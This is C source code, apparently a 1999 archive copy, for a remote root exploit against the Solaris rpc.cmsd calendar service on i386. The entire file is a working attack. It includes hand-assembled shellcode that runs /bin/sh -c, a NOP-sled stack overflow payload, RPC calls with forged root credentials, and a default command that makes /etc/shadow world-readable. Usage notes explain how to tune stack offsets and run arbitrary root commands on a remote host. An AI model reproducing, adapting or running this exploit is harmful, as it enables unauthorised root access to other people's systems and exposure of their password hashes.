home *** CD-ROM | disk | FTP | other *** search
- /*
- * cmsdex - i386 Solaris remote root exploit for /usr/dt/bin/rpc.cmsd
- *
- * Tested and confirmed under Solaris 2.6 and 7.0 (i386)
- *
- * Usage: % cmsdex -h hostname -c command -s sp -o offset
- *
- * where hostname is the hostname of the machine running the vulnerable
- * CDE calendar service, command is the command to run as root on the
- * vulnerable machine, sp is the %esp stack pointer value, and offset
- * is the number of bytes to add to sp to calculate your target %eip
- * (try -1000 to 1000 in increments of 10 or so for starters once you
- * have a good guess at the stack pointer).
- *
- * When specifying a command, be sure to pass it to the exploit as a
- * single argument, namely enclose the command string in quotes if it
- * contains spaces or other special shell delimiter characters. The
- * command string must not be longer than 100 bytes. The exploit will
- * pass this string without modification to /bin/sh -c on the remote
- * machine, so any normally allowed Bourne shell syntax is also allowed
- * in the command string. Due to the nature of the exploit, the command
- * string must not contain any @ characters.
- *
- * Demonstration values for i386 Solaris:
- *
- * (2.6) cmsdex -h host.example.com -c "touch /0wn3d" -s 0x0804748c -o 0
- * (7.0) cmsdex -h host.example.com -c "touch /0wn3d" -s 0x08047378 -o 0
- *
- * June 4, 1999
- */
-
- #include <stdlib.h>
- #include <stdio.h>
- #include <string.h>
- #include <unistd.h>
- #include <rpc/rpc.h>
-
- #define CMSD_PROG 100068
- #define CMSD_VERS 4
- #define CMSD_PROC 21
-
- #define EGGLEN 1036
- #define JUGULAR 1024
- #define NOP 0x90
-
- char shell[] =
- /* 0 */ "\xeb\x3d" /* jmp springboard [2000]*/
- /* syscall: [2000]*/
- /* 2 */ "\x9a\xff\xff\xff\xff\x07\xff" /* lcall 0x7,0x0 [2000]*/
- /* 9 */ "\xc3" /* ret [2000]*/
- /* start: [2000]*/
- /* 10 */ "\x5e" /* popl %esi [2000]*/
- /* 11 */ "\x31\xc0" /* xor %eax,%eax [2000]*/
- /* 13 */ "\x89\x46\xbf" /* movl %eax,-0x41(%esi) */
- /* 16 */ "\x88\x46\xc4" /* movb %al,-0x3c(%esi) */
- /* 19 */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */
- /* 22 */ "\x88\x46\x17" /* movb %al,0x17(%esi) */
- /* 25 */ "\x88\x46\x1a" /* movb %al,0x1a(%esi) */
- /* 28 */ "\x88\x46\xff" /* movb %al,0x??(%esi) */
- /* execve: [2000]*/
- /* 31 */ "\x31\xc0" /* xor %eax,%eax [2000]*/
- /* 33 */ "\x50" /* pushl %eax [2000]*/
- /* 34 */ "\x56" /* pushl %esi [2000]*/
- /* 35 */ "\x8d\x5e\x10" /* leal 0x10(%esi),%ebx */
- /* 38 */ "\x89\x1e" /* movl %ebx,(%esi)[2000]*/
- /* 40 */ "\x53" /* pushl %ebx [2000]*/
- /* 41 */ "\x8d\x5e\x18" /* leal 0x18(%esi),%ebx */
- /* 44 */ "\x89\x5e\x04" /* movl %ebx,0x4(%esi) */
- /* 47 */ "\x8d\x5e\x1b" /* leal 0x1b(%esi),%ebx */
- /* 50 */ "\x89\x5e\x08" /* movl %ebx,0x8(%esi) */
- /* 53 */ "\xb0\x3b" /* movb $0x3b,%al [2000]*/
- /* 55 */ "\xe8\xc6\xff\xff\xff" /* call syscall [2000]*/
- /* 60 */ "\x83\xc4\x0c" /* addl $0xc,%esp [2000]*/
- /* springboard: [2000]*/
- /* 63 */ "\xe8\xc6\xff\xff\xff" /* call start [2000]*/
- /* data: [2000]*/
- /* 68 */ "\xff\xff\xff\xff" /* DATA [2000]*/
- /* 72 */ "\xff\xff\xff\xff" /* DATA [2000]*/
- /* 76 */ "\xff\xff\xff\xff" /* DATA [2000]*/
- /* 80 */ "\xff\xff\xff\xff" /* DATA [2000]*/
- /* 84 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA [2000]*/
- /* 92 */ "\x2d\x63\xff"; /* DATA [2000]*/
-
- extern char *optarg;
-
- struct cm_send
- {
- char *s1;
- char *s2;
- };
-
- struct cm_reply
- {
- int i;
- };
-
- bool_t
- xdr_cm_send(XDR *xdrs, struct cm_send *objp)
- {
- if (!xdr_wrapstring(xdrs, &objp->s1))
- return (FALSE);
- if (!xdr_wrapstring(xdrs, &objp->s2))
- return (FALSE);
- return (TRUE);
- }
-
- bool_t
- xdr_cm_reply(XDR *xdrs, struct cm_reply *objp)
- {
- if (!xdr_int(xdrs, &objp->i))
- return (FALSE);
- return (TRUE);
- }
-
- int
- main(int argc, char *argv[])
- {
- int c, slen, clen;
- char *program, *hostname, *command, egg[EGGLEN+1], *eggp;
- unsigned long int sp = 0, addr, alen = 16;
- long int offset = 0;
- CLIENT *cl;
- struct cm_send send;
- struct cm_reply reply;
- struct timeval tm =
- {
- 10, 0
- };
- enum clnt_stat stat;
-
- program = argv[0];
- hostname = "localhost";
- command = "chmod 666 /etc/shadow";
-
- while ((c = getopt(argc, argv, "h:c:s:o:a:")) != EOF)
- {
- switch (c)
- {
- case 'h':
- hostname = optarg;
- break;
- case 'c':
- command = optarg;
- break;
- case 's':
- sp = strtoul(optarg, NULL, 0);
- break;
- case 'o':
- offset = strtol(optarg, NULL, 0);
- break;
- case 'a':
- alen = strtoul(optarg, NULL, 0);
- break;
- case '?':
- default:
- printf("usage: %s -h hostname -c command -s sp -o offset\n",
- program);
- exit(1);
- break;
- }
- }
-
- slen = strlen(shell);
- clen = strlen(command);
-
- if (clen > 100)
- {
- printf("exploit failed; command string too long "
- "(must not exceed 100 characters)\n");
- exit(1);
- }
- shell[30] = (char) (clen + 27);
-
- memset(egg, NOP, EGGLEN);
- eggp = egg + EGGLEN - alen - 1 - clen - slen;
- memcpy(eggp, shell, slen);
- eggp += slen;
- memcpy(eggp, command, clen);
- eggp += clen;
- *eggp++ = '\xff';
- addr = sp + offset;
- while (eggp <= egg + EGGLEN - 4)
- {
- *eggp++ = (addr >> 0) & 0xff;
- *eggp++ = (addr >> 8) & 0xff;
- *eggp++ = (addr >> 16) & 0xff;
- *eggp++ = (addr >> 24) & 0xff;
- }
- egg[JUGULAR] = '\xff';
- egg[EGGLEN] = '\0';
- send.s1 = egg;
- send.s2 = "";
-
- cl = clnt_create(hostname, CMSD_PROG, CMSD_VERS, "udp");
- if (cl == NULL)
- {
- clnt_pcreateerror("clnt_create");
- printf("exploit failed; unable to contact RPC server\n");
- exit(1);
- }
- cl->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);
- stat = clnt_call(cl, CMSD_PROC, xdr_cm_send, (caddr_t) &send,
- xdr_cm_reply, (caddr_t) &reply, tm);
- if (stat == RPC_SUCCESS)
- {
- printf("exploit failed; RPC succeeded and returned %d\n", reply.i);
- clnt_destroy(cl);
- exit(1);
- }
- else
- {
- clnt_perror(cl, "clnt_call");
- printf("exploit probably worked; RPC failure was expected\n");
- clnt_destroy(cl);
- exit(0);
- }
- }
- /* www.hack.co.za [4 June 1999]*/